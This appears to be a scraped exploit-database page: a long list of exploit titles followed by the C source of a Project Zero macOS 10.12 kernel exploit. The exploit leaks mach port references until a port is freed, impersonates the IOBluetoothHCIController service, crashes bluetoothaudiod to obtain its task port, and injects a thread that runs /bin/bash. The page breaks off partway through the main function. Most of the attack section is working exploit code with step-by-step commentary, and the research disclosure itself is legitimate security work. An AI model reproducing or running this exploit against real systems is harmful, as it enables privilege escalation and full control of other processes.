
10 new exploits Microsoft Internet Explorer 11 - MSHTML CPasteCommand::ConvertBitmaptoPng Heap-Based Buffer Overflow (MS14-056) Microsoft Internet Explorer 11 MSHTML - CSpliceTreeEngine::RemoveSplice Use-After-Free (MS14-035) Microsoft Internet Explorer 11 - MSHTML CSpliceTreeEngine::RemoveSplice Use-After-Free (MS14-035) macOS 10.12.1 Kernel - Writable Privileged IOKit Registry Properties Code Execution macOS 10.12 - Double vm_deallocate in Userspace MIG Code Use-After-Free macOS < 10.12.2 / iOS < 10.2 Kernel - ipc_port_t Reference Count Leak Due to Incorrect externalMethod Overrides Use-After-Free macOS 10.12.1 / iOS < 10.2 - powerd Arbitrary Port Replacement macOS 10.12.1 / iOS < 10.2 - syslogd Arbitrary Port Replacement IBM AIX 6.1/7.1/7.2 - 'Bellmail' Privilege Escalation Vesta Control Panel 0.9.8-16 - Local Privilege Escalation macOS < 10.12.2 / iOS < 10.2 Kernel - _kernelrpc_mach_port_insert_right_trap Reference Count Leak / Use-After-Free macOS < 10.12.2 / iOS < 10.2 - Broken Kernel Mach Port Name uref Handling Privileged Port Name Replacement Privilege Escalation PHP iCalendar 2.21 - (publish.ical.php) Remote Code Execution PHP iCalendar 2.21 - 'publish.ical.php' Remote Code Execution CzarNews 1.14 - (tpath) Remote File Inclusion CzarNews 1.14 - 'tpath' Parameter Remote File Inclusion N/X WCMS 4.1 - (nxheader.inc.php) Remote File Inclusion N/X WCMS 4.1 - 'nxheader.inc.php' Remote File Inclusion Powies pForum 1.29a - (editpoll.php) SQL Injection Powies pForum 1.29a - 'editpoll.php' SQL Injection AssetMan 2.4a - (download_pdf.php) Remote File Disclosure AssetMan 2.4a - 'download_pdf.php' Remote File Disclosure Orion-Blog 2.0 - (AdminBlogNewsEdit.asp) Remote Authentication Bypass Orion-Blog 2.0 - Remote Authentication Bypass Ol BookMarks Manager 0.7.4 - (root) Remote File Inclusion Ol BookMarks Manager 0.7.4 - 'root' Parameter Remote File Inclusion AdminBot 9.0.5 - (live_status.lib.php ROOT) Remote File Inclusion AdminBot 9.0.5 - 'live_status.lib.php' Remote File Inclusion WSN Links Basic Edition - (displaycat catid) SQL Injection WSN Links Basic Edition - 'catid' Parameter SQL Injection phpRealty 0.02 - (MGR) Multiple Remote File Inclusion phpRealty 0.02 - 'MGR' Parameter Multiple Remote File Inclusion jPORTAL 2 - mailer.php SQL Injection jPORTAL 2.3.1 - articles.php SQL Injection jPORTAL 2 - 'mailer.php' SQL Injection jPORTAL 2.3.1 - 'articles.php' SQL Injection AvailScript Jobs Portal Script - Authenticated (jid) SQL Injection AvailScript Jobs Portal Script - 'jid' Parameter SQL Injection PhpWebGallery 1.3.4 - Cross-Site Scripting / Local File Inclusion PHPWebGallery 1.3.4 - Cross-Site Scripting / Local File Inclusion D-iscussion Board 3.01 - (topic) Local File Inclusion D-iscussion Board 3.01 - 'topic' Parameter Local File Inclusion PhpWebGallery 1.3.4 - Blind SQL Injection PHPWebGallery 1.3.4 - Blind SQL Injection PhpWebGallery 1.3.4 - Blind SQL Injection pForum 1.30 - (showprofil.php id) SQL Injection WebPortal CMS 0.7.4 - (download.php aid) SQL Injection iBoutique 4.0 - (cat) SQL Injection SkaLinks 1.5 - (register.php) Arbitrary Add Editor vbLOGIX Tutorial Script 1.0 - 'cat_id' SQL Injection PHPWebGallery 1.3.4 - Blind SQL Injection pForum 1.30 - 'showprofil.php' SQL Injection WebPortal CMS 0.7.4 - 'download.php' SQL Injection iBoutique 4.0 - 'cat' Parameter SQL Injection SkaLinks 1.5 - 'register.php' Arbitrary Add Editor vbLOGIX Tutorial Script 1.0 - 'cat_id' Parameter SQL Injection pLink 2.07 - (linkto.php id) Blind SQL Injection pLink 2.07 - 'linkto.php' Blind SQL Injection FoT Video scripti 1.1b - (oyun) SQL Injection FoT Video scripti 1.1b - 'oyun' Parameter SQL Injection Pre Real Estate Listings - 'search.php c' SQL Injection Pre Real Estate Listings - 'search.php' SQL Injection iScripts EasyIndex - (produid) SQL Injection iScripts EasyIndex - 'produid' Parameter SQL Injection Hotel Reservation System - 'city.asp city' Blind SQL Injection phpRealty 0.3 - (INC) Remote File Inclusion PHP Crawler 0.8 - (footer) Remote File Inclusion Technote 7 - (shop_this_skin_path) Remote File Inclusion Hotel Reservation System - 'city.asp' Blind SQL Injection phpRealty 0.3 - 'INC' Parameter Remote File Inclusion PHP Crawler 0.8 - Remote File Inclusion Technote 7 - 'shop_this_skin_path' Parameter Remote File Inclusion E-PHP CMS - 'article.php es_id' SQL Injection addalink 4 - 'category_id' SQL Injection ProArcadeScript 1.3 - (random) SQL Injection CYASK 3.x - (collect.php neturl) Local File Disclosure Diesel Joke Site - 'picture_category.php id' SQL Injection ProActive CMS - 'template' Local File Inclusion E-PHP CMS - 'article.php' SQL Injection addalink 4 - 'category_id' Parameter SQL Injection ProArcadeScript 1.3 - 'random' Parameter SQL Injection CYASK 3.x - 'neturl' Parameter Local File Disclosure Diesel Joke Site - 'picture_category.php' SQL Injection ProActive CMS - 'template' Parameter Local File Inclusion Diesel Pay Script - (area) SQL Injection Plaincart 1.1.2 - (p) SQL Injection Oceandir 2.9 - (show_vote.php id) SQL Injection jPORTAL 2 - 'humor.php id' SQL Injection Diesel Pay Script - 'area' Parameter SQL Injection Plaincart 1.1.2 - 'p' Parameter SQL Injection Oceandir 2.9 - 'show_vote.php' SQL Injection jPORTAL 2 - 'humor.php' SQL Injection Diesel Job Site - (job_id) Blind SQL Injection Diesel Job Site - 'job_id' Parameter Blind SQL Injection e107 Plugin Image Gallery 0.9.6.2 - (image) SQL Injection e107 Plugin Image Gallery 0.9.6.2 - SQL Injection WSN Links 2.22/2.23 - (vote.php) SQL Injection WSN Links 2.22/2.23 - 'vote.php' SQL Injection BuzzyWall 1.3.1 - (search.php search) SQL Injection WCMS 1.0b - (news_detail.asp id) SQL Injection BuzzyWall 1.3.1 - 'search' Parameter SQL Injection WCMS 1.0b - 'news_detail.asp' SQL Injection OpenElec 3.01 - (form.php obj) Local File Inclusion OpenElec 3.01 - 'obj' Parameter Local File Inclusion basebuilder 2.0.1 - (main.inc.php) Remote File Inclusion Fez 1.3/2.0 RC1 - (list.php) SQL Injection basebuilder 2.0.1 - 'main.inc.php' Remote File Inclusion Fez 1.3/2.0 RC1 - 'list.php' SQL Injection OpenRat 0.8-beta4 - (tpl_dir) Remote File Inclusion Sofi WebGui 0.6.3 PRE - (mod_dir) Remote File Inclusion OpenRat 0.8-beta4 - 'tpl_dir' Parameter Remote File Inclusion Sofi WebGui 0.6.3 PRE - 'mod_dir' Parameter Remote File Inclusion JETIK-WEB Software - 'sayfa.php kat' SQL Injection JETIK-WEB Software - 'kat' Parameter SQL Injection WebPortal CMS 0.7.4 - (code) Remote Code Execution HotScripts Clone - 'cid' SQL Injection WebPortal CMS 0.7.4 - 'code' Parameter Remote Code Execution HotScripts Clone - 'cid' Parameter SQL Injection emergecolab 1.0 - (sitecode) Local File Inclusion mailwatch 1.0.4 - (docs.php doc) Local File Inclusion PHPcounter 1.3.2 - (defs.php l) Local File Inclusion emergecolab 1.0 - 'sitecode' Parameter Local File Inclusion mailwatch 1.0.4 - 'doc' Parameter Local File Inclusion PHPcounter 1.3.2 - 'defs.php' Local File Inclusion webcp 0.5.7 - (filelocation) Remote File Disclosure webcp 0.5.7 - 'filelocation' Parameter Remote File Disclosure LanSuite 3.3.2 - (design) Local File Inclusion PHPOCS 0.1-beta3 - (index.php act) Local File Inclusion Vikingboard 0.2 Beta - (task) Local File Inclusion LanSuite 3.3.2 - 'design' Parameter Local File Inclusion PHPOCS 0.1-beta3 - 'act' Parameter Local File Inclusion Vikingboard 0.2 Beta - 'task' Parameter Local File Inclusion barcodegen 2.0.0 - (class_dir) Remote File Inclusion barcodegen 2.0.0 - 'class_dir' Parameter Remote File Inclusion PHPcounter 1.3.2 - (index.php name) SQL Injection PHPcounter 1.3.2 - 'index.php' SQL Injection PhpWebGallery 1.7.2 - Session Hijacking / Code Execution PHPWebGallery 1.7.2 - Session Hijacking / Code Execution BuzzyWall 1.3.1 - (download id) Remote File Disclosure BuzzyWall 1.3.1 - 'id' Parameter Remote File Disclosure Pre Real Estate Listings - (Authentication Bypass) SQL Injection Pre Real Estate Listings - Authentication Bypass Netartmedia Real Estate Portal 1.2 - (ad_id) SQL Injection Netartmedia Real Estate Portal 1.2 - 'ad_id' Parameter SQL Injection SkaLinks 1.5 - (Authentication Bypass) SQL Injection SkaLinks 1.5 - Authentication Bypass diesel job site 1.4 - Multiple Vulnerabilities Diesel Job Site 1.4 - Multiple Vulnerabilities ProArcadeScript to Game - (game) SQL Injection ProArcadeScript to Game - SQL Injection Link Bid Script - 'links.php id' SQL Injection Link Bid Script - 'links.php' SQL Injection NetArt Media iBoutique 4.0 - (index.php key Parameter) SQL Injection iBoutique 4.0 - 'key' Parameter SQL Injection PHPForum 2.0 RC1 - Mainfile.php Remote File Inclusion PHPForum 2.0 RC1 - 'Mainfile.php' Remote File Inclusion JPortal 2.2.1 - print.php SQL Injection jPORTAL 2.2.1 - 'print.php' SQL Injection CzarNews 1.13/1.14 - headlines.php Remote File Inclusion CzarNews 1.13/1.14 - 'headlines.php' Remote File Inclusion JPortal 2.3.1 - Banner.php SQL Injection jPORTAL 2.3.1 - 'Banner.php' SQL Injection CJ Ultra Plus 1.0.3/1.0.4 - OUT.php SQL Injection CJ Ultra Plus 1.0.3/1.0.4 - 'OUT.php' SQL Injection JPortal 2.2.1/2.3.1 - download.php SQL Injection jPORTAL 2.2.1/2.3.1 - 'download.php' SQL Injection JPortal Web Portal 2.2.1/2.3.1 - comment.php id Parameter SQL Injection JPortal Web Portal 2.2.1/2.3.1 - news.php id Parameter SQL Injection JPortal Web Portal 2.2.1/2.3.1 - 'comment.php' SQL Injection JPortal Web Portal 2.2.1/2.3.1 - 'news.php' SQL Injection PHPWCMS 1.2.5 -DEV - random_image.php imgdir Parameter Traversal Arbitrary File Access PHPWCMS 1.2.5 -DEV - 'imgdir' Parameter Traversal Arbitrary File Access JPortal 2.2.1/2.3 Forum - forum.php SQL Injection jPORTAL 2.2.1/2.3 Forum - 'forum.php' SQL Injection Diesel Joke Site - Category.php SQL Injection Diesel Joke Site - 'Category.php' SQL Injection TinyPHPForum 3.6 - error.php Information Disclosure TinyPHPForum 3.6 - UpdatePF.php Authentication Bypass TinyPHPForum 3.6 - 'error.php' Information Disclosure TinyPHPForum 3.6 - 'UpdatePF.php' Authentication Bypass Vikingboard Viking board 0.1b - help.php act Parameter Cross-Site Scripting Vikingboard Viking board 0.1b - report.php p Parameter Cross-Site Scripting Vikingboard 0.1 - topic.php SQL Injection Vikingboard 0.1b - 'help.php' Cross-Site Scripting Vikingboard 0.1b - 'report.php' Cross-Site Scripting Vikingboard 0.1 - 'topic.php' SQL Injection PHP iCalendar 1.1/2.x - day.php Multiple Parameter Cross-Site Scripting PHP iCalendar 1.1/2.x - month.php Multiple Parameter Cross-Site Scripting PHP iCalendar 1.1/2.x - year.php Multiple Parameter Cross-Site Scripting PHP iCalendar 1.1/2.x - week.php Multiple Parameter Cross-Site Scripting PHP iCalendar 1.1/2.x - search.php Multiple Parameter Cross-Site Scripting PHP iCalendar 1.1/2.x - rss/index.php getdate Parameter Cross-Site Scripting PHP iCalendar 1.1/2.x - print.php getdate Parameter Cross-Site Scripting PHP iCalendar 1.1/2.x - preferences.php Multiple Parameter Cross-Site Scripting PHP iCalendar 1.1/2.x - 'day.php' Cross-Site Scripting PHP iCalendar 1.1/2.x - 'month.php' Cross-Site Scripting PHP iCalendar 1.1/2.x - 'year.php' Cross-Site Scripting PHP iCalendar 1.1/2.x - 'week.php' Cross-Site Scripting PHP iCalendar 1.1/2.x - 'search.php' Cross-Site Scripting PHP iCalendar 1.1/2.x - 'getdate' Parameter Cross-Site Scripting PHP iCalendar 1.1/2.x - 'print.php' Cross-Site Scripting PHP iCalendar 1.1/2.x - 'preferences.php' Cross-Site Scripting Vikingboard Viking board 0.1.2 - cp.php Multiple Parameter Cross-Site Scripting Vikingboard Viking board 0.1.2 - user.php u Parameter Cross-Site Scripting Vikingboard Viking board 0.1.2 - post.php Multiple Parameter Cross-Site Scripting Vikingboard Viking board 0.1.2 - topic.php s Parameter Cross-Site Scripting Vikingboard Viking board 0.1.2 - forum.php debug Variable Information Disclosure Vikingboard Viking board 0.1.2 - cp.php debug Variable Information Disclosure Vikingboard 0.1.2 - 'cp.php' Cross-Site Scripting Vikingboard 0.1.2 - 'user.php' Cross-Site Scripting Vikingboard 0.1.2 - 'post.php' Cross-Site Scripting Vikingboard 0.1.2 - 'topic.php' Cross-Site Scripting Vikingboard 0.1.2 - 'forum.php' Information Disclosure Vikingboard 0.1.2 - 'cp.php' Information Disclosure PaysiteReviewCMS 1.1 - search.php q Parameter Cross-Site Scripting PaysiteReviewCMS - image.php image Parameter Cross-Site Scripting PaysiteReviewCMS 1.1 - 'search.php' Cross-Site Scripting PaysiteReviewCMS - 'image.php' Cross-Site Scripting BuzzScripts BuzzyWall 1.3.2 - 'resolute.php' Information Disclosure BuzzyWall 1.3.2 - 'resolute.php' Information Disclosure
479 lines
18 KiB
C
Executable file
479 lines
18 KiB
C
Executable file
/*
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=941
|
|
|
|
Proofs of Concept:
|
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40956.zip
|
|
|
|
The previous ref count overflow bugs were all kinda slow because they were quite deep in kernel code,
|
|
a lot of mach message and MIG code had to run for each leak.
|
|
|
|
There are a handful of mach operations which have their own fast-path syscalls (mach traps.)
|
|
One of these is _kernelrpc_mach_port_insert_right_trap which lets us create a new mach
|
|
port name in our process from a port we already have. Here's the code:
|
|
|
|
int
|
|
_kernelrpc_mach_port_insert_right_trap(struct _kernelrpc_mach_port_insert_right_args *args)
|
|
{
|
|
task_t task = port_name_to_task(args->target);
|
|
ipc_port_t port;
|
|
mach_msg_type_name_t disp;
|
|
int rv = MACH_SEND_INVALID_DEST;
|
|
|
|
if (task != current_task())
|
|
goto done;
|
|
|
|
rv = ipc_object_copyin(task->itk_space, args->poly, args->polyPoly,
|
|
(ipc_object_t *)&port);
|
|
if (rv != KERN_SUCCESS)
|
|
goto done;
|
|
disp = (args->polyPoly);
|
|
|
|
rv = mach_port_insert_right(task->itk_space, args->name, port, disp);
|
|
|
|
done:
|
|
if (task)
|
|
task_deallocate(task);
|
|
return (rv);
|
|
}
|
|
|
|
ipc_object_copyin will look up the args->poly name (with the args->polyPoly rights)
|
|
in the current process's mach port namespace and return an ipc_port_t pointer in port.
|
|
|
|
If ipc_object_copyin is successful it takes a ref on the port and returns that ref to the caller.
|
|
|
|
mach_port_insert_right will consume that reference but *only* if it succeeds. If it fails then
|
|
no reference is consumed and we can leak one because _kernelrpc_mach_port_insert_right_trap
|
|
doesn't handle the failure case.
|
|
|
|
it's easy to force mach_port_insert_right to fail by specifying an invalid name for the new
|
|
right (eg MACH_PORT_NULL.)
|
|
|
|
This allows you to overflow the reference count of the port and cause a kernel UaF in about 20
|
|
minutes using a single thread.
|
|
|
|
################################################################################
|
|
|
|
LPE exploit for the kernel ipc_port_t reference leak bug
|
|
|
|
I wanted to explore some more interesting exploit primitives I could build with this bug.
|
|
|
|
One idea I had was to turn a send right for a mach port into a receive right for that port.
|
|
We can do this by using the reference count leak to cause a port for which we have a send right
|
|
to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
|
|
which had a send right) and forcing the memory to be reallocated with a new port for which we
|
|
hold a receive right.
|
|
|
|
We could for example target a userspace IPC service and replace a send right we've looked up via
|
|
launchd with a receive right allowing us to impersonate the service to other clients.
|
|
|
|
Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
|
|
whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
|
|
messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
|
|
called directly. Those kernel-owned receive rights are however still ports and we can free them using
|
|
the bug; if we can then get that memory reused as a port for which we hold a receive right we can
|
|
end up impersonating the kernel to other processes!
|
|
|
|
Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
|
|
services we can get other processes to send us their task ports and thus gain complete control over them.
|
|
|
|
io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
|
|
IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
|
|
(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
|
|
port and the message contains the sender's task port as the owningTask parameter :)
|
|
|
|
For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
|
|
by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
|
|
We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
|
|
parses XPC messages. This doesn't require bluetooth to be enabled.
|
|
|
|
Putting this all together the flow of the exploit looks like this:
|
|
|
|
* get a send right to the IOBluetoothHCIController IOService
|
|
* overflow the reference count of that ipc_port to 0 and free it
|
|
* allocate many new receive rights to reuse the freed ipc_port
|
|
* add the new receive rights to a port set to simplify receiving messages
|
|
* crash bluetoothaudiod forcing it to restart
|
|
* bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
|
|
* bluetoothaudiod will send its task port to the IOService
|
|
* the task port is actually sent to us as we have the receive right
|
|
* we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND
|
|
|
|
Tested on MacOS 10.12 16a323
|
|
|
|
The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
|
|
*/
|
|
|
|
// ianbeer
|
|
|
|
#if 0
|
|
LPE exploit for the kernel ipc_port_t reference leak bug
|
|
|
|
I wanted to explore some more interesting exploit primitives I could build with this bug.
|
|
|
|
One idea I had was to turn a send right for a mach port into a receive right for that port.
|
|
We can do this by using the reference count leak to cause a port for which we have a send right
|
|
to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
|
|
which had a send right) and forcing the memory to be reallocated with a new port for which we
|
|
hold a receive right.
|
|
|
|
We could for example target a userspace IPC service and replace a send right we've looked up via
|
|
launchd with a receive right allowing us to impersonate the service to other clients.
|
|
|
|
Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
|
|
whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
|
|
messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
|
|
called directly. Those kernel-owned receive rights are however still ports and we can free them using
|
|
the bug; if we can then get that memory reused as a port for which we hold a receive right we can
|
|
end up impersonating the kernel to other processes!
|
|
|
|
Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
|
|
services we can get other processes to send us their task ports and thus gain complete control over them.
|
|
|
|
io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
|
|
IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
|
|
(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
|
|
port and the message contains the sender's task port as the owningTask parameter :)
|
|
|
|
For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
|
|
by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
|
|
We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
|
|
parses XPC messages. This doesn't require bluetooth to be enabled.
|
|
|
|
Putting this all together the flow of the exploit looks like this:
|
|
|
|
* get a send right to the IOBluetoothHCIController IOService
|
|
* overflow the reference count of that ipc_port to 0 and free it
|
|
* allocate many new receive rights to reuse the freed ipc_port
|
|
* add the new receive rights to a port set to simplify receiving messages
|
|
* crash bluetoothaudiod forcing it to restart
|
|
* bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
|
|
* bluetoothaudiod will send its task port to the IOService
|
|
* the task port is actually sent to us as we have the receive right
|
|
* we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND
|
|
|
|
Tested on MacOS 10.12 16a323
|
|
|
|
The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
|
|
#endif
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
#include <mach/mach.h>
|
|
#include <mach/mach_vm.h>
|
|
|
|
#include <xpc/xpc.h>
|
|
|
|
#include <IOKit/IOKitLib.h>
|
|
|
|
void run_command(mach_port_t target_task, char* command) {
|
|
kern_return_t err;
|
|
|
|
// allocate some memory in the task
|
|
mach_vm_address_t command_addr = 0;
|
|
err = mach_vm_allocate(target_task,
|
|
&command_addr,
|
|
0x1000,
|
|
VM_FLAGS_ANYWHERE);
|
|
|
|
if (err != KERN_SUCCESS) {
|
|
printf("mach_vm_allocate: %s\n", mach_error_string(err));
|
|
return;
|
|
}
|
|
|
|
printf("allocated command at %zx\n", command_addr);
|
|
uint64_t bin_bash = command_addr;
|
|
uint64_t dash_c = command_addr + 0x10;
|
|
uint64_t cmd = command_addr + 0x20;
|
|
uint64_t argv = command_addr + 0x800;
|
|
|
|
uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};
|
|
|
|
err = mach_vm_write(target_task,
|
|
bin_bash,
|
|
"/bin/bash",
|
|
strlen("/bin/bash") + 1);
|
|
|
|
err = mach_vm_write(target_task,
|
|
dash_c,
|
|
"-c",
|
|
strlen("-c") + 1);
|
|
|
|
err = mach_vm_write(target_task,
|
|
cmd,
|
|
command,
|
|
strlen(command) + 1);
|
|
|
|
err = mach_vm_write(target_task,
|
|
argv,
|
|
argv_contents,
|
|
sizeof(argv_contents));
|
|
|
|
if (err != KERN_SUCCESS) {
|
|
printf("mach_vm_write: %s\n", mach_error_string(err));
|
|
return;
|
|
}
|
|
|
|
// create a new thread:
|
|
mach_port_t new_thread = MACH_PORT_NULL;
|
|
x86_thread_state64_t state;
|
|
mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;
|
|
|
|
memset(&state, 0, sizeof(state));
|
|
|
|
// the minimal register state we require:
|
|
state.__rip = (uint64_t)execve;
|
|
state.__rdi = (uint64_t)bin_bash;
|
|
state.__rsi = (uint64_t)argv;
|
|
state.__rdx = (uint64_t)0;
|
|
|
|
err = thread_create_running(target_task,
|
|
x86_THREAD_STATE64,
|
|
(thread_state_t)&state,
|
|
stateCount,
|
|
&new_thread);
|
|
|
|
if (err != KERN_SUCCESS) {
|
|
printf("thread_create_running: %s\n", mach_error_string(err));
|
|
return;
|
|
}
|
|
|
|
printf("done?\n");
|
|
}
|
|
|
|
void force_bluetoothaudiod_restart() {
|
|
xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
|
|
|
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
|
|
xpc_type_t t = xpc_get_type(event);
|
|
if (t == XPC_TYPE_ERROR){
|
|
printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
|
|
}
|
|
printf("received an event\n");
|
|
});
|
|
xpc_connection_resume(conn);
|
|
|
|
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
|
|
|
|
xpc_dictionary_set_string(msg, "BTMethod", "BTCoreAudioPassthrough");
|
|
|
|
xpc_connection_send_message(conn, msg);
|
|
|
|
printf("waiting to make sure launchd knows the target has crashed\n");
|
|
usleep(100000);
|
|
|
|
printf("bluetoothaudiod should have crashed now\n");
|
|
|
|
xpc_release(msg);
|
|
|
|
// connect to the service again and send a message to force it to restart:
|
|
conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
|
|
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
|
|
xpc_type_t t = xpc_get_type(event);
|
|
if (t == XPC_TYPE_ERROR){
|
|
printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
|
|
}
|
|
printf("received an event\n");
|
|
});
|
|
xpc_connection_resume(conn);
|
|
|
|
msg = xpc_dictionary_create(NULL, NULL, 0);
|
|
|
|
xpc_dictionary_set_string(msg, "hello", "world");
|
|
|
|
xpc_connection_send_message(conn, msg);
|
|
|
|
printf("bluetoothaudiod should be calling IOServiceOpen now\n");
|
|
}
|
|
|
|
mach_port_t self;
|
|
|
|
void leak_one_ref(mach_port_t overflower) {
|
|
kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
|
|
self,
|
|
MACH_PORT_NULL, // an invalid name
|
|
overflower,
|
|
MACH_MSG_TYPE_COPY_SEND);
|
|
}
|
|
|
|
void leak_one_ref_for_receive(mach_port_t overflower) {
|
|
kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
|
|
self,
|
|
MACH_PORT_NULL, // an invalid name
|
|
overflower,
|
|
MACH_MSG_TYPE_MAKE_SEND); // if you have a receive right
|
|
}
|
|
|
|
char* spinners = "-\\|/";
|
|
void leak_n_refs(mach_port_t overflower, uint64_t n_refs) {
|
|
int step = 0;
|
|
for (uint64_t i = 0; i < n_refs; i++) {
|
|
leak_one_ref(overflower);
|
|
if ((i % 0x40000) == 0) {
|
|
float done = (float)i/(float)n_refs;
|
|
step = (step+1) % strlen(spinners);
|
|
fprintf(stdout, "\roverflowing [%c] (%3.3f%%)", spinners[step], done * 100);
|
|
fflush(stdout);
|
|
}
|
|
}
|
|
fprintf(stdout, "\roverflowed \n");
|
|
fflush(stdout);
|
|
}
|
|
|
|
// quickly take a release a kernel reference
|
|
// if the reference has been overflowed to 0 this will free the object
|
|
void inc_and_dec_ref(mach_port_t p) {
|
|
// if we pass something which isn't a task port name:
|
|
// port_name_to_task
|
|
// ipc_object_copyin
|
|
// takes a ref
|
|
// ipc_port_release_send
|
|
// drops a ref
|
|
|
|
_kernelrpc_mach_port_insert_right_trap(p, 0, 0, 0);
|
|
}
|
|
|
|
/* try to get the free'd port replaced with a new port for which we have
|
|
* a receive right
|
|
* Once we've allocated a lot of new ports add them all to a port set so
|
|
* we can just receive on the port set to find the correct one
|
|
*/
|
|
mach_port_t replace_with_receive() {
|
|
int n_ports = 2000;
|
|
mach_port_t ports[n_ports];
|
|
for (int i = 0; i < n_ports; i++) {
|
|
mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &ports[i]);
|
|
}
|
|
|
|
// allocate a port set
|
|
mach_port_t ps;
|
|
mach_port_allocate(self, MACH_PORT_RIGHT_PORT_SET, &ps);
|
|
for (int i = 0; i < n_ports; i++) {
|
|
mach_port_move_member( self, ports[i], ps);
|
|
}
|
|
return ps;
|
|
}
|
|
|
|
/* listen on the port set for io_service_open_extended messages :
|
|
*/
|
|
struct service_open_mig {
|
|
mach_msg_header_t Head;
|
|
/* start of the kernel processed data */
|
|
mach_msg_body_t msgh_body;
|
|
mach_msg_port_descriptor_t owningTask;
|
|
mach_msg_ool_descriptor_t properties;
|
|
/* end of the kernel processed data */
|
|
NDR_record_t NDR;
|
|
uint32_t connect_type;
|
|
NDR_record_t ndr;
|
|
mach_msg_type_number_t propertiesCnt;
|
|
};
|
|
|
|
void service_requests(mach_port_t ps) {
|
|
size_t size = 0x1000;
|
|
struct service_open_mig* request = malloc(size);
|
|
memset(request, 0, size);
|
|
|
|
printf("receiving on port set\n");
|
|
kern_return_t err = mach_msg(&request->Head,
|
|
MACH_RCV_MSG,
|
|
0,
|
|
size,
|
|
ps,
|
|
0,
|
|
0);
|
|
|
|
if (err != KERN_SUCCESS) {
|
|
printf("error receiving on port set: %s\n", mach_error_string(err));
|
|
return;
|
|
}
|
|
|
|
mach_port_t replaced_with = request->Head.msgh_local_port;
|
|
|
|
printf("got a message on the port set from port: local(0x%x) remote(0x%x)\n", request->Head.msgh_local_port, request->Head.msgh_remote_port);
|
|
mach_port_t target_task = request->owningTask.name;
|
|
printf("got task port: 0x%x\n", target_task);
|
|
|
|
run_command(target_task, "touch /tmp/hello_from_fake_kernel");
|
|
|
|
printf("did that work?\n");
|
|
printf("leaking some refs so we don't kernel panic");
|
|
|
|
for(int i = 0; i < 0x100; i++) {
|
|
leak_one_ref_for_receive(replaced_with);
|
|
}
|
|
|
|
}
|
|
|
|
int main() {
|
|
self = mach_task_self(); // avoid making the trap every time
|
|
|
|
//mach_port_t test;
|
|
//mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &test);
|
|
|
|
// get the service we want to target:
|
|
mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
|
|
printf("%d : 0x%x\n", getpid(), service);
|
|
|
|
// we don't know how many refs the port actually has - lets guess less than 40...
|
|
uint32_t max_refs = 40;
|
|
leak_n_refs(service, 0x100000000-max_refs);
|
|
|
|
// the port now has a reference count just below 0 so we'll try in a loop
|
|
// to free it, reallocate and test to see if it worked - if not we'll hope
|
|
// that was because we didn't free it:
|
|
|
|
mach_port_t fake_service_port = MACH_PORT_NULL;
|
|
for (uint32_t i = 0; i < max_refs; i++) {
|
|
inc_and_dec_ref(service);
|
|
|
|
mach_port_t replacer_ps = replace_with_receive();
|
|
|
|
// send a message to the service - if we receive it on the portset then we won:
|
|
mach_msg_header_t msg = {0};
|
|
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
|
|
msg.msgh_remote_port = service;
|
|
msg.msgh_id = 0x41414141;
|
|
msg.msgh_size = sizeof(msg);
|
|
kern_return_t err;
|
|
err = mach_msg(&msg,
|
|
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
|
(mach_msg_size_t)sizeof(msg),
|
|
0,
|
|
MACH_PORT_NULL,
|
|
MACH_MSG_TIMEOUT_NONE,
|
|
MACH_PORT_NULL);
|
|
